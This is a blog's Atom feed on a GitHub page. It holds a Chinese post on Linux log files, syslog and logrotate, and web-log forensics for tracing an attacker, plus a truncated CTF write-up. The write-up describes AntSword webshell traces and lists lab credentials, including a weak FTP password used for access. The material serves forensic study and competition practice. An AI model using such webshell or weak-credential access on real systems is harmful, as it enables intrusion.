-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathatom.xml
491 lines (254 loc) · 250 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>sharun's blogs</title>
<link href="http://sharun.xyz/atom.xml" rel="self"/>
<link href="http://sharun.xyz/"/>
<updated>2021-04-22T12:48:15.683Z</updated>
<id>http://sharun.xyz/</id>
<author>
<name>sharun</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>linux中log取证</title>
<link href="http://sharun.xyz/2021/04/22/linux%20%E7%9A%84%20log%20%E6%96%87%E4%BB%B6/"/>
<id>http://sharun.xyz/2021/04/22/linux%20%E7%9A%84%20log%20%E6%96%87%E4%BB%B6/</id>
<published>2021-04-21T16:00:00.000Z</published>
<updated>2021-04-22T12:48:15.683Z</updated>
<content type="html"><![CDATA[<p>常见的Linux操作系统登录文件有如下几个:</p><p>1)/var/log/secure:记录登录系统存取数据的文件;</p><p>例如pop3,ssh,telnet,ftp等都会记录在此.</p><p>2)/ar/log/wtmp:记录登录这的信息记录,被编码过,所以必须以last解析;</p><p>3)/var/log/message:jihu所有的开机系统发生的错误都会在此记录;</p><p>4)/var/log/boot.log:记录一些开机或者关机启动的一些服务显示的启动或者关闭的信息;</p><p>5)/var/log/maillog:记录邮件的存取和往来;</p><p>6)/var/log/cron:用来记录crontab这个服务的内容;</p><p>7)/var/log/httpd,/var/log/mysqld.log等等文件,记录几个不同的网络服务的记录文件;</p><p>8)/var/log/acpid , ACPI - Advanced Configuration and Power Interface,表示高级配置和电源管理接口。</p><p>后面的 d 表示 deamon 。 acpid 也就是 the ACPI event daemon 。 也就是 acpi 的消息进程。用来控制、获取、管理 acpi 的状态的服务程序。</p><p>9)/var/run/utmp 记录着现在登录的用户;</p><p>10)/var/log/lastlog 记录每个用户最后的登录信息;</p><p>11)/var/log/btmp 记录错误的登录尝试;</p><p>12)/var/log/dmesg内核日志;</p><p>13)/var/log/cpus CPU的处理信息;</p><p>14)/var/log/syslog 事件记录监控程序日志;</p><p>15)/var/log/auth.log 用户认证日志;</p><p>16)/var/log/daemon.log 系统进程日志;</p><p>17)/var/log/mail.err 邮件错误信息;</p><p>18)/var/log/mail.info 邮件信息;</p><p>19)/var/log/mail.warn 邮件警告信息;</p><p>20)/var/log/daemon.log 系统监控程序产生的信息;</p><p>21)/var/log/kern 内核产生的信息;</p><p>22)/var/log/lpr 行打印机假脱机系统产生的信息;</p><hr><hr><h1 id="如何查看linux系统下的各种日志文件-linux-系统日志的分析大全"><a href="#如何查看linux系统下的各种日志文件-linux-系统日志的分析大全" class="headerlink" title="如何查看linux系统下的各种日志文件 linux 系统日志的分析大全"></a>如何查看linux系统下的各种日志文件 linux 系统日志的分析大全</h1><p><strong>日志分类:</strong></p><p><strong>1. 连接时间的日志</strong></p><p><strong>连接时间日志一般由/var/log/wtmp和/var/run/utmp这两个文件记录,不过这</strong></p><p><strong>两个文件无法直接cat查看,并且该文件由系统自动更新,可以通过如下:</strong></p><p><strong>w/who/finger/id/last/lastlog/ac 进行查看</strong></p><p>[root@xhot ~]# who</p><p>root tty1 2010-10-06 22:56</p><p>root pts/0 2010-10-06 22:26 (218.192.87.4)</p><p>root pts/1 2010-10-06 23:41 (218.192.87.4)</p><p>root pts/3 2010-10-06 23:18 (218.192.87.4)</p><p>[root@xhot ~]# w</p><p>01:01:02 up 2:36, 4 users, load average: 0.15, 0.03, 0.01</p><p>USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT</p><p>root tty1 - 22:56 1:20m 0.16s 0.16s -bash</p><p>root pts/0 218.192.87.4 22:26 2:05m 0.18s 0.18s -bash</p><p>root pts/1 218.192.87.4 23:41 0.00s 0.41s 0.00s w</p><p>root pts/3 218.192.87.4 23:18 1:38m 0.03s 0.03s -bash</p><p>[root@xhot ~]# ac -p //查看每个用户的连接时间</p><p>u51 1.23</p><p>u55 0.04</p><p>root 95.21 //可以看到root连接时间最长吧</p><p>xhot 0.06</p><p>user1 3.93</p><p>total 100.48</p><p>[root@xhot ~]# ac -a //查看所有用户的连接时间</p><p>total 100.49</p><p>[root@xhot ~]# ac -d //查看用户每天的连接时间</p><p>Sep 24 total 0.14</p><p>Sep 25 total 14.60</p><p>Sep 26 total 13.71</p><p>Sep 27 total 21.47</p><p>Sep 28 total 11.74</p><p>Sep 29 total 6.60</p><p>Sep 30 total 8.81</p><p>Oct 1 total 9.04</p><p>Oct 2 total 0.47 //可以看到我国庆3、4、5号出去玩了</p><p>Oct 6 total 8.62</p><p>Today total 5.29</p><p>其他几个命令不做具体介绍了</p><p><strong>2. 进程监控日志</strong></p><p><strong>进程统计监控日志在监控用户的操作指令是非常有效的。当服务器最近发现经常</strong></p><p><strong>无故关机或者无故被人删除文件等现象时,可以通过使用进程统计日志查看:</strong></p><p>[root@xhot ~]# accton /var/account/pacct //开启进程统计日志监控</p><p>[root@xhot ~]# lastcomm //查看进程统计日志情况</p><p>accton S root pts/1 0.00 secs Thu Oct 7 01:20</p><p>accton root pts/1 0.00 secs Thu Oct 7 01:20</p><p>ac root pts/1 0.00 secs Thu Oct 7 01:14</p><p>ac root pts/1 0.00 secs Thu Oct 7 01:14</p><p>free root pts/1 0.00 secs Thu Oct 7 01:10</p><p>lastcomm root pts/1 0.00 secs Thu Oct 7 01:09</p><p>bash F root pts/1 0.00 secs Thu Oct 7 01:09</p><p>lastcomm root pts/1 0.00 secs Thu Oct 7 01:09</p><p>ifconfig root pts/1 0.00 secs Thu Oct 7 01:09</p><p>lastcomm root pts/1 0.00 secs Thu Oct 7 01:09</p><p>lastcomm root pts/1 0.00 secs Thu Oct 7 01:09</p><p>lastcomm root pts/1 0.00 secs Thu Oct 7 01:09</p><p>accton S root pts/1 0.00 secs Thu Oct 7 01:09</p><p>[root@xhot ~]# accton //关闭进程统计日志监控</p><p><strong>3. 系统和服务日志</strong></p><p><strong>系统日志服务是由一个名为syslog的服务管理的,如一下日志文件都是由syslog日志服务驱动的:</strong></p><p>/var/log/lastlog :记录最后一次用户成功登陆的时间、登陆IP等信息</p><p>/var/log/messages :记录Linux操作系统常见的系统和服务错误信息</p><p>/var/log/secure :Linux系统安全日志,记录用户和工作组变坏情况、用户登陆认证情况</p><p>/var/log/btmp :记录Linux登陆失败的用户、时间以及远程IP地址</p><p>/var/log/cron :记录crond计划任务服务执行情况</p><p>……</p><p>[root@xhot ~]# cat /var/log/lastlog</p><p>Lpts/0218.192.87.4</p><p>Lpts/1218.192.87.4</p><p>Lpts/1218.192.87.4</p><p>Lpts/0218.192.87.46</p><p>Lpts/0218.192.87.4</p><p>……</p><p><strong>Linux日志服务介绍</strong></p><p><strong>1. 在Linux系统,大部分日志都是由syslog日志服务驱动和管理的</strong></p><p>syslog服务由两个重要的配置文件控制管理,分别是/etc/syslog.conf主配置文件和/etc/sysconfig/syslog辅助</p><p>配置文件, /etc/init.d/syslog是启动脚本,这里主讲主配置文件/etc/syslog.conf:</p><p>/etc/syslog.conf 语句结构:</p><p>[root@xhot ~]# grep -v “#” /etc/syslog.conf //列出非#打头的每一行</p><p>*.info;mail.none;authpriv.none;cron.none /var/log/messages</p><p>authpriv.* /var/log/secure</p><p>mail.* -/var/log/maillog</p><p>cron.* /var/log/cron</p><p>*.emerg *</p><p>uucp,news.crit /var/log/spooler</p><p>local7.* /var/log/boot.log</p><p>选择域(消息类型.错误级别) 动作域</p><p><strong>2. 消息类型:</strong>auth,authpriv,security;cron,daemon,kern,lpr,mail, mark,news,syslog,user,uucp,local0~local7.</p><p>错误级别:(8级)debug,info,notice,warning|warn;err|error;crit,alert,emerg|panic</p><p>动作域:file,user,console,@remote_ip</p><p>举如上的/etc/syslog.conf文件三个例子:</p><p>*.info;mail.none;authpriv.none;cron.none /var/log/messages</p><p>表示info级别的任何消息都发送到/var/log/messages日志文件,但邮件系统、验证系统</p><p>和计划任务的错误级别信息就除外,不发送(none表示禁止)</p><p>cron.* /var/log/cron 表示所有级别的cron信息发到/var/log/cron文件</p><p>*.emerg * 表示emerg错误级别(危险状态)的所有消息类型发给所有用户</p><p><strong>Linux日志服务器配置</strong></p><p>此服务器的配置非常简单,只是修改一个文件的一个地方,然后重启服务即可:</p><p>[root@xhot ~]# grep -v “#” /etc/sysconfig/syslog</p><p>SYSLOGD_OPTIONS=”-m 0 -r” //只要在这里添加“-r”就行咯</p><p>KLOGD_OPTIONS=”-x”</p><p>SYSLOG_UMASK=077</p><p>[root@xhot ~]# service syslog restart</p><p>关闭内核日志记录器: [确定]</p><p>关闭系统日志记录器: [确定]</p><p>启动系统日志记录器: [确定]</p><p>启动内核日志记录器: [确定]</p><p>对于发送消息到服务器的OS,只要在写/etc/syslog.conf主配置文件的时候,作用域</p><p>为@server-ip就行了,比如针对218.192.87.24这台日志服务器,把一台ubuntu系统的所有</p><p>info级别的auth信息发给日志服务器,那么对于ubuntu系统的/etc/syslog.conf文件最后一</p><p>行添加 auth.info @218.192.87.24 就OK了</p><p><strong>日志转储服务</strong></p><p>系统工作到了一定时间后,日志文件的内容随着时间和访问量的增加而越来越多,</p><p>日志文件也越来越大。而且当日志文件超过系统控制范围时候,还会对系统性能</p><p>造成影响。转储方式可以设为每年转储、每月转储、每周转储、达到一定大小转储。</p><p>在Linux系统,经常使用<strong>“logrotate”</strong>工具进行日志转储,结合<strong>cron</strong>计划任务,可以轻松</p><p>实现日志文件的转储。转储方式的设置由<strong>“/etc/logrotate.conf”</strong>配置文件控制:</p><p>[root@xhot ~]# cat /etc/logrotate.conf</p><h1 id="see-“man-logrotate”-for-details-可以查看帮助文档"><a href="#see-“man-logrotate”-for-details-可以查看帮助文档" class="headerlink" title="see “man logrotate” for details //可以查看帮助文档"></a>see “man logrotate” for details //可以查看帮助文档</h1><h1 id="rotate-log-files-weekly"><a href="#rotate-log-files-weekly" class="headerlink" title="rotate log files weekly"></a>rotate log files weekly</h1><p>weekly //设置每周转储</p><h1 id="keep-4-weeks-worth-of-backlogs"><a href="#keep-4-weeks-worth-of-backlogs" class="headerlink" title="keep 4 weeks worth of backlogs"></a>keep 4 weeks worth of backlogs</h1><p>rotate 4 //最多转储4次</p><h1 id="create-new-empty-log-files-after-rotating-old-ones"><a href="#create-new-empty-log-files-after-rotating-old-ones" class="headerlink" title="create new (empty) log files after rotating old ones"></a>create new (empty) log files after rotating old ones</h1><p>create //当转储后文件不存储时创建它</p><h1 id="uncomment-this-if-you-want-your-log-files-compressed"><a href="#uncomment-this-if-you-want-your-log-files-compressed" class="headerlink" title="uncomment this if you want your log files compressed"></a>uncomment this if you want your log files compressed</h1><p>#compress //以压缩方式转储</p><h1 id="RPM-packages-drop-log-rotation-information-into-this-directory"><a href="#RPM-packages-drop-log-rotation-information-into-this-directory" class="headerlink" title="RPM packages drop log rotation information into this directory"></a>RPM packages drop log rotation information into this directory</h1><p>include /etc/logrotate.d //其他日志文件的转储方式,包含在该目录下</p><h1 id="no-packages-own-wtmp-–-we’ll-rotate-them-here"><a href="#no-packages-own-wtmp-–-we’ll-rotate-them-here" class="headerlink" title="no packages own wtmp – we’ll rotate them here"></a>no packages own wtmp – we’ll rotate them here</h1><p>/var/log/wtmp { //设置/var/log/wtmp日志文件的转储参数</p><p>monthly //每月转储</p><p>create 0664 root utmp //转储后文件不存在时创建它,文件所有者为root,</p><p>所属组为utmp,对应的权限为0664</p><p>rotate 1 //转储一次</p><p>}</p><h1 id="system-specific-logs-may-be-also-be-configured-here"><a href="#system-specific-logs-may-be-also-be-configured-here" class="headerlink" title="system-specific logs may be also be configured here."></a>system-specific logs may be also be configured here.</h1><p><strong>举两个例子:</strong></p><p><strong>为/var/log/news/目录下的所有文件设置转储参数,每周转储,转储2次,转储</strong></p><p><strong>时将老的日志文件放到/var/log/news/old目录下,若日志文件不存在,则跳过。完成后重启</strong></p><p><strong>news新闻组服务,转储时不压缩</strong>。那么可以在/etc/logrotate.conf文件的最后添加如下:</p><p>/var/log/news/*{</p><p>monthly</p><p>rotate 2</p><p>olddir /var/log/news/old</p><p>missingok</p><p>postrotate</p><p>kill -HUP <code>cat /var/run/inn.pid</code></p><p>endscript</p><p>nocompress</p><p>}</p><p>另一个例子:<strong>为/var/log/httpd/access.log和/var/log/httpd/error.log日志设置转储参数。转储</strong></p><p><strong>5次,转储时发送邮件给</strong><a href="http://localhost/?fileGuid=6qXV8qwdW9djrVdp">root@localhost</a><strong>用户,当日志文件达到100KB时才转储,转储后重启</strong></p><p><strong>httpd服务</strong>,那么可以直接在/etc/logrotate.conf文件的最后添加如下:</p><p>/var/log/httpd/access.log /var/log/http/error.log{</p><p>rotate 5</p><p>mail<a href="http://localhost/?fileGuid=6qXV8qwdW9djrVdp">root@localhost</a></p><p>size=100k</p><p>sharedscripts</p><p>/sbin/killall -HUP httpd</p><p>endscript</p><p>}</p><p>自定义日志转储(/etc/logrotate.d/*)</p><p>通过下面一个例子<strong>将所有类型错误级别为info的日志转储到/var/log/test.log日志文件中,并设置</strong></p><p><strong>/var/log/test.log达到50KB后进行转储,转储10次,转储时压缩,转储后重启syslog服务</strong>:</p><p><strong>1、修改/etc/syslog.conf文件使得如下:</strong></p><p>[root@xhot ~]# tail -1 /etc/syslog.conf //查看该文件的最后一行</p><p>*.info /var/log/test.log</p><p><strong>2、重启syslog服务:</strong></p><p>[root@xhot ~]# /sbin/service syslog restart</p><p>关闭内核日志记录器: [确定]</p><p>关闭系统日志记录器: [确定]</p><p>启动系统日志记录器: [确定]</p><p>启动内核日志记录器: [确定]</p><p><strong>3、创建/etc/logrotate.d/test.log日志转储参数配置文件,添加如下:</strong></p><p>[root@xhot ~]# vim /etc/logrotate.d/test.log</p><p>[root@xhot ~]# cat /etc/logrotate.d/test.log</p><p>/var/log/test.log{</p><p>rotate 10</p><p>size = 50k</p><p>compress</p><p>postrotate</p><p>killall -HUP syslog</p><p>endscript</p><p>}</p><p><strong>4、查看文件/etc/cron.daily/logrotate确保如下:</strong></p><p>[root@xhot ~]# cat /etc/cron.daily/logrotate</p><p>#!/bin/sh</p><p>/usr/sbin/logrotate /etc/logrotate.conf</p><p>EXITVALUE=$?</p><p>if [ $EXITVALUE != 0 ]; then</p><p>/usr/bin/logger -t logrotate “ALERT exited abnormally with [$EXITVALUE]”</p><p>fi</p><p>exit 0</p><p><strong>5、查看转储后的文件</strong></p><p>[root@xhot log]# pwd</p><p>/var/log</p><p>[root@xhot log]# ls test.log*</p><p>…… //结果等要转储的时候会发现压缩文件和原本的test.log文件</p><p>syslog是一个被UNIX和Linux广泛使用的日志系统,Linux系统中大部分的日志文件都是通过它进行管理的。本节将对syslog的功能及配置、日志文件的查看和管理,以及syslog中默认配置的日志文件进行介绍。</p><p><strong>12.2.1 syslog简介</strong></p><p>syslog是一个历史悠久的日志系统,几乎所有的UNIX和Linux操作系统都是采用syslog进行系统日志的管理和配置。Linux系统内核和许多程序会产生各种错误信息、警告信息和其他的提示信息。这些信息对管理员了解系统的运行状态是非常有用的,所以应该把它们写到日志文件中去。而执行这个过程的程序就是syslog。syslog可以根据信息的来源以及信息的重要程度将信息保存到不同的日志文件中,例如,为了方便查阅,可以把内核信息与其他信息分开,单独保存到一个独立的日志文件中。在默认的syslog配置下,日志文件通常都保存在“/var/log”目录下。syslog的守护进程为syslogd,系统启动时,默认会自动运行syslogd守护进程。</p><p>如果要手工启动,可以使用如下命令:</p><p>/sbin/syslogd</p><p>在修改syslog配置后,需要重新启动syslogd守护进程才能使新的配置生效。其命令如下所示。</p><h1 id="killall-HUP-syslogd"><a href="#killall-HUP-syslogd" class="headerlink" title="killall -HUP syslogd"></a>killall -HUP syslogd</h1><p>Red Hat Enterprise Linux 5.2安装后默认就已经在syslog中定义了一些日志文件,这些日志的位置以及它们的说明如表12.2所示。</p><p>表12.2 默认配置syslog日志</p><table><thead><tr><th align="left">日 志 文 件</th><th align="left">说 明</th></tr></thead><tbody><tr><td align="left">/var/log/message</td><td align="left">系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一</td></tr><tr><td align="left">/var/log/secure</td><td align="left">与安全相关的日志信息</td></tr><tr><td align="left">/var/log/maillog</td><td align="left">与邮件相关的日志信息</td></tr><tr><td align="left">/var/log/cron</td><td align="left">与定时任务相关的日志信息</td></tr><tr><td align="left">/var/log/spooler</td><td align="left">与UUCP和news设备相关的日志信息</td></tr><tr><td align="left">/var/log/boot.log</td><td align="left">守护进程启动和停止相关的日志消息<br></td></tr></tbody></table><h2 id="0x01-Web日志"><a href="#0x01-Web日志" class="headerlink" title="0x01 Web日志"></a>0x01 Web日志</h2><p>Web访问日志记录了Web服务器接收处理请求及运行时错误等各种原始信息。通过对WEB日志进行的安全分析,不仅可以帮助我们定位攻击者,还可以帮助我们还原攻击路径,找到网站存在的安全漏洞并进行修复。</p><p>我们来看一条Apache的访问日志:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1 - - [11/Jun/2018:12:47:22 +0800] "GET /login.html HTTP/1.1" 200 786 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"</span><br></pre></td></tr></table></figure><p>通过这条Web访问日志,我们可以清楚的得知用户在什么IP、什么时间、用什么操作系统、什么浏览器的情况下访问了你网站的哪个页面,是否访问成功。<br>本文通过介绍Web日志安全分析时的思路和常用的一些技巧。</p><h2 id="0x02-日志分析技巧"><a href="#0x02-日志分析技巧" class="headerlink" title="0x02 日志分析技巧"></a>0x02 日志分析技巧</h2><p>在对WEB日志进行安全分析时,一般可以按照两种思路展开,逐步深入,还原整个攻击过程。</p><p>第一种:确定入侵的时间范围,以此为线索,查找这个时间范围内可疑的日志,进一步排查,最终确定攻击者,还原攻击过程。</p><p>第二种:攻击者在入侵网站后,通常会留下后门维持权限,以方便再次访问,我们可以找到该文件,并以此为线索来展开分析。</p><p>常用分析工具:</p><p>Window下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。</p><p>Linux下,使用Shell命令组合查询分析。</p><p>Shell+Linux命令实现日志分析,一般结合grep、awk等命令等实现了几个常用的日志分析统计技巧。</p><p>Apache日志分析技巧:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">1、列出当天访问次数最多的IP命令:cut -d- -f 1 log_file|uniq -c | sort -rn | head -20</span><br><span class="line">2、查看当天有多少个IP访问:awk '{print $1}' log_file|sort|uniq|wc -l</span><br><span class="line">3、查看某一个页面被访问的次数:grep "/index.php" log_file | wc -l</span><br><span class="line">4、查看每一个IP访问了多少个页面:awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file</span><br><span class="line">5、将每个IP访问的页面数进行从小到大排序:awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n</span><br><span class="line">6、查看某一个IP访问了哪些页面:grep ^111.111.111.111 log_file| awk '{print $1,$7}'</span><br><span class="line">7、去掉搜索引擎统计当天的页面:awk '{print $12,$1}' log_file | grep ^"Mozilla | awk '{print $2}' |sort | uniq | wc -l</span><br><span class="line">8、查看2018年6月21日14时这一个小时内有多少IP访问:awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l</span><br></pre></td></tr></table></figure><h2 id="0x03-日志分析案例"><a href="#0x03-日志分析案例" class="headerlink" title="0x03 日志分析案例"></a>0x03 日志分析案例</h2><p>Web日志分析实例:通过nginx代理转发到内网某服务器,内网服务器某站点目录下被上传了多个图片木马,虽然II7下不能解析,但还是想找出谁通过什么路径上传的。</p><p>在这里,我们遇到了一个问题:由于设置了代理转发,只记录了代理服务器的ip,并没有记录访问者IP?这时候,如何去识别不同的访问者和攻击源呢?</p><p>这是管理员日志配置不当的问题,但好在我们可以通过浏览器指纹来定位不同的访问来源,还原攻击路径。</p><h3 id="1、定位攻击源"><a href="#1、定位攻击源" class="headerlink" title="1、定位攻击源"></a>1、定位攻击源</h3><p>首先访问图片木马的记录,只找到了一条,由于所有访问日志只记录了代理IP,并不能通过IP来还原攻击路径,这时候,可以利用浏览器指纹来定位。</p><p><img src="https://assets.smcdn.cn/docs/assets/paste_error_placeholder-b6c71c3140.png?fileGuid=6qXV8qwdW9djrVdp" alt="图片"></p><p>浏览器指纹:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.50727;+.NET+CLR+3.5.30729;+.NET+CLR+3.0.30729;+.NET4.0C;+.NET4.0E)</span><br></pre></td></tr></table></figure><h3 id="2、搜索相关日志记录"><a href="#2、搜索相关日志记录" class="headerlink" title="2、搜索相关日志记录"></a>2、搜索相关日志记录</h3><p>通过筛选与该浏览器指纹有关的日志记录,可以清晰地看到攻击者的攻击路径。</p><p><img src="https://assets.smcdn.cn/docs/assets/paste_error_placeholder-b6c71c3140.png?fileGuid=6qXV8qwdW9djrVdp" alt="图片"></p><p>3、对找到的访问日志进行解读,攻击者大致的访问路径如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A、攻击者访问首页和登录页B、攻击者访问MsgSjlb.aspx和MsgSebd.aspxC、攻击者访问Xzuser.aspxD、攻击者多次POST(怀疑通过这个页面上传模块缺陷)E、攻击者访问了图片木马</span><br></pre></td></tr></table></figure><p>打开网站,访问Xzuser.aspx,确认攻击者通过该页面的进行文件上传了图片木马,同时,发现网站了存在越权访问漏洞,攻击者访问特定URL,无需登录即可进入后台界面。通过日志分析找到网站的漏洞位置并进行修复。</p><h2 id="0x04-日志统计分析技巧"><a href="#0x04-日志统计分析技巧" class="headerlink" title="0x04 日志统计分析技巧"></a>0x04 日志统计分析技巧</h2><p>统计爬虫:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq</span><br></pre></td></tr></table></figure><p>统计浏览器:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100</span><br></pre></td></tr></table></figure><p>IP 统计:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10 2206 219.136.134.13 1497 182.34.15.248 1431 211.140.143.100 1431 119.145.149.106 1427 61.183.15.179 1427 218.6.8.189 1422 124.232.150.171 1421 106.187.47.224 1420 61.160.220.252 1418 114.80.201.18</span><br></pre></td></tr></table></figure><p>统计网段:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200</span><br></pre></td></tr></table></figure><p>统计域名:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -rn|more</span><br></pre></td></tr></table></figure><p>HTTP状态:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /www/logs/access.2019-02-23.log |awk '{print $9}'|sort|uniq -c|sort -rn|more5056585 3041125579 200 7602 400 5 301</span><br></pre></td></tr></table></figure><p>URL 统计:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -rn|more</span><br></pre></td></tr></table></figure><p>文件流量统计:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cat /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|moregrep ' 200 ' /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|more</span><br><span class="line">URL访问量统计:</span><br><span class="line">cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '?|&' | sort | uniq -c | sort -rn | more</span><br></pre></td></tr></table></figure><p>脚本运行速度:</p><p>查出运行速度最慢的脚本</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grep -v 0$ /www/logs/access.2019-02-23.log | awk -F '" ' '{print $4" " $1}' web.log | awk '{print $1" "$8}' | sort -n -k 1 -r | uniq > /tmp/slow_url.txt</span><br></pre></td></tr></table></figure><p>IP, URL 抽取:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tail -f /www/logs/access.2019-02-23.log | grep '/test.html' | awk '{print $1" "$7}'</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>常见的Linux操作系统登录文件有如下几个:</p>
<p>1)/var/log/secure:记录登录系统存取数据的文件;</p>
<p>例如pop3,ssh,telnet,ftp等都会记录在此.</p>
<p>2)/ar/log/wtmp:记录登录这的信息记录,被编码过</summary>
<category term="笔记" scheme="http://sharun.xyz/categories/%E7%AC%94%E8%AE%B0/"/>
<category term="博客园" scheme="http://sharun.xyz/tags/%E5%8D%9A%E5%AE%A2%E5%9B%AD/"/>
<category term="搬家" scheme="http://sharun.xyz/tags/%E6%90%AC%E5%AE%B6/"/>
</entry>
<entry>
<title>铁三-WP</title>
<link href="http://sharun.xyz/2021/01/01/%E9%93%81%E4%B8%89-WP/"/>
<id>http://sharun.xyz/2021/01/01/%E9%93%81%E4%B8%89-WP/</id>
<published>2020-12-31T16:00:00.000Z</published>
<updated>2021-04-28T08:58:36.728Z</updated>
<content type="html"><![CDATA[<h1 id="取证题目"><a href="#取证题目" class="headerlink" title="取证题目"></a>取证题目</h1><ol><li>在 /var/log/httpd/access.log 文件中有蚁剑连接php记录 ,在202011月的log中 有</li></ol><p>两个ip 192.168.232.1 和 192.168.232.201(?记不清了)</p><ol start="2"><li>有一个ip是扫描路径 对其User-Agent 过滤并计数</li><li>跳过</li><li>在www中 db_connect 找到数据库密码 在mysql数据库找到admin用户名密码admin:admin123</li><li>跳过</li><li>在www中找到manage_user.php 找到操作为 ajax.php?action=(忘了),在log中在m啥啥啥.log中相应的数据包 hacker:hacker2333</li><li>同上,www中 site_啥啥啥.php I Got Your Site</li><li>好像是查看webshell文件时间 通过log 找到相应文件 用 ll –full-time 查看</li><li>查看蚁剑流量,把流量解码就可以,但是这VNC我不会复制出来,没法解码,那怎么办嘛。<h1 id="企业渗透"><a href="#企业渗透" class="headerlink" title="企业渗透"></a>企业渗透</h1></li></ol><p>Web2 扫描发现ftp弱口令 ftp:123456 登录后发现flag2 和web的登录账号密码。</p><p>Web3 访问80端口,发现是原题,时hack the box的题目,访问 